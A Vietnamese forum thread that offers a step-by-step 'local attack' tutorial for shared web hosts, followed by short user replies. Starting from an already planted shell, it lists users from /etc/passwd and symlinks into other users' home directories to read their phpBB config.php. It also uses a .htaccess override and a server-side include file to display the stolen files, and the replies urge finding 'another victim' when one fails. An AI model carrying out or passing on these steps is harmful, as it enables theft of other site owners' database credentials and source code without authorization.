Hướng dẫn local attack, symlink từ a đến z

[AdminAdmin is verified member.]

Giả sử đã có shell trên sever --
I. Symlink
Tìm xem có những user nào trên sever. Gõ đoạn lệnh sau và Excute

cat /etc/passwd

nếu không được thì thử

less /etc/passwd

Okie. Đã có list user. Muốn xem thử thử web user như thế nào thì chạy
http://ip/~ten_user - Một số ko hỗ trợ cái này.
Bây giờ đến vấn đê chính.
Khi ta đã tìm được user thì excute lệnh sau, Lệnh Symlink:

ln -s /.../.../file(folder)_cần_xem file_ghi_nội_dung

Đoạn /.../.../ là đường dẫn. Ví dụ với cp11 ta có đoạn lệnh sau:

ln -s /home/tên_user/file(folder)_cần_xem file_ghi

VD Cụ thể hơn nhé, cp11, Ta sẽ view victim "abcde" mã nguồn phpbb3, View thư mục public_html , styles và file config.php .Ghi vào file cyp.txt , cyp1.txt , cyp2.txt
View thư mục public_html:
Thư mục styles
file config.php
Xong ta chạy
http://link.host.chứa.shell/tên_file_ghi để xem.
Nếu error 403 thì ta xem lại đường dẫn.
Đường dẫn đúng thì ta tạo (sửa nếu đã có) file .htaccess với nội dung sau.

Options +FollowSymLinks
DirectoryIndex hocit.html
Options +Indexes

(cho phép symlink, đổi file index.php thành abcde.html khi view folder). Rồi chạy lại link xem nha.
Nếu không được nữa, ta sang phần 2.
II. View Symlink bằng cmd.shtml
Tạo file cmd.shtml với nội dung sau.

<!--#include virtual="file_ghi" -->

Ví dụ. Ta view file cyp2.txt (ghi file config.php)

<!--#include virtual="cyp2.txt" -->

Xong chạy link sau http://link.host.chứa.shell/cmd.shtml
Nếu trắng trang thì viewsource xem nhé.
Còn lỗi [an error occurred while processing this directive] thì đợi tut khác nhé.
End tut

Ai thấy hay thanks nhé

 

[MSocBay[dot]Net]

Thank.mobile up shell + local đc ko nhỉ?

 

[AdminAdmin is verified member.]

Thank.mobile up shell + local đc ko nhỉ?

chưa thử up trên mobile nên hơi khó, demo 301 Moved Permanently

 

[congtust24]

lỗi k thử xem được pub của victim thì sao nhỉ? can't view folder.

 

[AdminAdmin is verified member.]

lỗi k thử xem được pub của victim thì sao nhỉ? can't view folder.

Tìm victim khác và chiến

 

[congtust24]

do chmod public rồi có cách nào k nhỉ?